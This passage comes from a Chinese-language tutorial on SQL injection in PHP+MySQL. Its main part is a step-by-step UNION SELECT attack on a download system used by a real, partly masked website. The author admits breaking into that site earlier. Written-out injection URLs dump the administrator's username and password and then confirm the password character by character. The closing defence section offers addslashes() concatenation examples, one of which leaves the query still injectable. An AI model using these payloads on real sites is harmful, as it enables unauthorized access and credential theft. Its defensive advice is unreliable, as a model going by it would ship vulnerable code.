  如果這個表是存在的,那麼同樣會返回應該顯示的內容,如果表不存在,當然就會出錯了,所以我的思路是先獲得有漏洞的文件所查詢表的數據結構,確定結果後再進一步查詢表,這個手工操作是沒有效率的問題的,不到一分鐘就可以查詢到了,比如我們在測試www.***bai.net就是這樣,後面的實例會涉及到。
  但是有一個問題,由於很多情況下,很多程序的數據表都會有一個前綴,有這個前綴就可以讓多個程序共用一個數據庫。比如:

site_article
site_user
site_download
forum_user
forum_post
……



  如果安全意識高的話,管理員會加個表名前綴,那猜解就很麻煩了,不過完全可以做一個表名列表來跑。這裡就不多說了,後面會有一個具體的例子來解開一切迷茫^_^……

實例

  下面對一個國內非常出名的站點進行善意的攻擊測試,來對上面的知識進行一次大概的驗證,出於影響等諸多因素,我們稱這個站點為HB (www.***bai.net),HB使用的是夜貓的文章系統和下載系統,不過文章系統已經升級了,我們就不看了,下載系統是絕對有問題的,不過由於我現在寫文章的電腦不上網,我用相同的下載系統在本地進行一次模擬的測試。實際上,我事前早用更狠毒的技術滲透過HB。
  首先我們找到有問題的文件,show.php?id=1,我們馬上看看數據結構和表名,看看HB有沒有改字段和表名,我早知道夜貓下載系統1.0.1版的軟件信息的表有19個字段,就提交:

http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1


  注意,這裡有19個“1”,返回正常的頁面,我可以可以肯定字段沒有變,我們也就別拖拉了,直接看看夜貓的默認用戶數據表是否存在:

http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user


  正常返回,如圖,如果URL不清楚可以看標題那裡:



  嗯,這個HB還真是夠懶的,這麼爛的程序也不知道先修改一下再用,不過也是,沒有多少人和我一樣有閒心先去加固程序才用的,再看默認的用戶id還在不在?

http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1


  忘記了,就算不存在id為1的用戶,前面的查詢是真的,照樣會正常返回數據庫的軟件信息,我們只能讓前面的查詢為假,才能使後面查詢的結果顯示出來,但我們要注意一點,show.php文件裡面有這樣一段代碼:

if ($id > "0" && $id < "999999999" ):
//這裡是正確執行的代碼
else:
echo "<p><center><a href=./list.php>無記錄</a></p>\n";



  也就是說我們的ID的值再怎麼離譜也不能在0和999999999之外,HB的軟件肯定不會超過10000個的,我們就提交:

http://127.0.0.1/ymdown/show.php?id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1


  正常返回了,表格裡的數據全部是“1”,說明ID還在哦。如果不存在的話,頁面只返回的數據全部是不詳,因為程序的判斷是如果數據為空就顯示不詳。現在確定了ID存在後,還要確定是不是管理員才行啊:

http://127.0.0.1/ymdown/show.php?id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1


  程序規定groupid為1是超級管理員,既然都返回正確信息了,我們就直接構造畸形語句,暴出我們需要的用戶名和密碼,嘿嘿,首先看看ymdown表的數據結構,因為show.php是查詢它的,所以我們應該看它的數據結構。

CREATE TABLE ymdown (
 id int(10) unsigned NOT NULL auto_increment,
 name varchar(100) NOT NULL,
 updatetime varchar(20) NOT NULL,
 size varchar(100) NOT NULL,
 empower varchar(100) NOT NULL,
 os varchar(100) NOT NULL,
 grade smallint(6) DEFAULT '0' NOT NULL,
 viewnum int(10) DEFAULT '0' NOT NULL,
 downnum int(10) DEFAULT '0' NOT NULL,
 homepage varchar(100), demo varchar(100),
 brief mediumtext, img varchar(100),
 sort2id smallint(6) DEFAULT '0' NOT NULL,
 down1 varchar(100) NOT NULL,
 down2 varchar(100),
 down3 varchar(100),
 down4 varchar(100),
 down5 varchar(100),
 PRIMARY KEY (id)
);



  用戶名和密碼的數據類型都是varchar,所以我們要選擇ymdown表裡數據類型是varchar來,如果把varchar的數據寫到int的地方當然是不可能顯示的了,由於updatetime(更新日期)的長度是20,可能會出現顯示不完全的情況,我們就把用戶名顯示在name(軟件標題)那裡,密碼顯示在size(文件大小)那裡好了,在19個“1”中,name和size分別是第二個和第四個,我們提交:

http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1


  結果成功返回了我們所需要的用戶名和密碼,如圖:



驗證測試結果

  整個滲透過程就結束了,不過由於黑白把入口給改了,無法登陸,但我們僅僅測試注入,目的已經達到了,就沒有必要進後台了,我後來又繼續構造SQL語句來驗證我們獲取的密碼是否正確,依次提交:

http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49
#驗證第一位密碼
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50
#驗證第二位密碼
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51
#驗證第三位密碼
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,4,1))=52
#驗證第四位密碼
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,5,1))=53
#驗證第五位密碼
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,6,1))=54
#驗證第六位密碼


  用select char(49,50,51,52,53,54)就可以得到123456。
  OK!測試結束,驗證我們的結果沒有錯誤。說明一下,密碼本身是123456,可以不用ord()函數而直接猜,但為了大家能看到一個完整的過程,我還是“專業”一點好了。下面補一幅截圖,是本文寫完後,重新測試HB時截取的:



注入的防范

  防范可以從兩個方面著手,一個就是服務器,二個就是代碼本身,介紹服務器配置的文章很多了,無非就是把magic_quotes_gpc設置為On, display_errors設置為Off,這裡也就不在多說,既然本文接觸都是程序的問題,我們還是從程序本身尋找原因。
  如果說php比asp易用,安全,從內置的函數就可以體現出來。如果是整形的變量,只需使用一個intval()函數即可解決問題,在執行查詢之前,我們先處理一下變量,如下面的例子就是很安全的了:

$id = intval($id);
mysql_query("SELECT * FROM article WHERE articleid='$id'");


  或者這樣寫:

mysql_query("SELECT * FROM article WHERE articleid=".intval($id)."")


  不管如何構造,最終還是會先轉換為整形猜放入數據庫的。很多大型程序都是這樣寫,非常簡潔。
  字符串形的變量也可以用addslashes()整個內置函數了,這個函數的作用和magic_quotes_gpc一樣,使用後,所有的 ' (單引號), " (雙引號), \ (反斜線) and 空字符會自動轉為含有反斜線的溢出字符。而且新版本的php,就算magic_quotes_gpc打開了,再使用addslashes()函數,也不會有沖突,可以放心使用。例子如下:

$username = addslashes($username);
mysql_query("SELECT * FROM members WHERE userid='$username'");



  或者這樣寫:

mysql_query("SELECT * FROM members WHERE userid=".addslashes($username)."")


  使用addslashes()函數還可以避免引號配對錯誤的情況出現。而剛才的前面搜索引擎的修補方法就是直接把“_”、“%”轉換為“\_”“\%”就可以了,當然也不要忘記使用addslashes()函數。具體代碼如下:

$keywords = addslashes($keywords);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);



  不用像ASP那樣,過濾一點變量,就要寫一大堆的代碼,就是上面的一點點代碼,我們就可以把本文所有的問題解決了,是不是很簡便?

後記

  這篇文章是我自2004年3月份以來利用課余時間學習研究的,5月中旬寫完,裡面的所有東西都是經過我親自測試的,本文僅僅算是技術總結吧,還有很多技術難點沒有解決的,因此錯漏是難免的,歡迎請大家指正。
  還有不少危險性極高的東西,只要少數條件成立,一般都可以進入服務器,考慮到嚴重性和廣泛性,我並沒有寫出來,我個人估計,不久將會出現PHP+MYSQL注入的一系列工具,技術也會普及和告訴發展。但我建議大家一定要弄清楚原理,工具只是武器,技術才是靈魂,工具只是提高效率罷了,並不代表你的技術高超。
  大家看到這篇文章的時候,估計我已經高考完了,暑假我會寫一篇更深入的研究。
  為了讓更多人了解並掌握PHP+MYSQL的注入技術,我才寫了這篇文章,並決定發表,再重申一次。不要對任何國家的任何合法主機進行破壞,否則後果自負。

滲透過關非常輕松
一切都盡在我掌握中
越來越接近管理員
今天的心情是大不同啊大不同

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved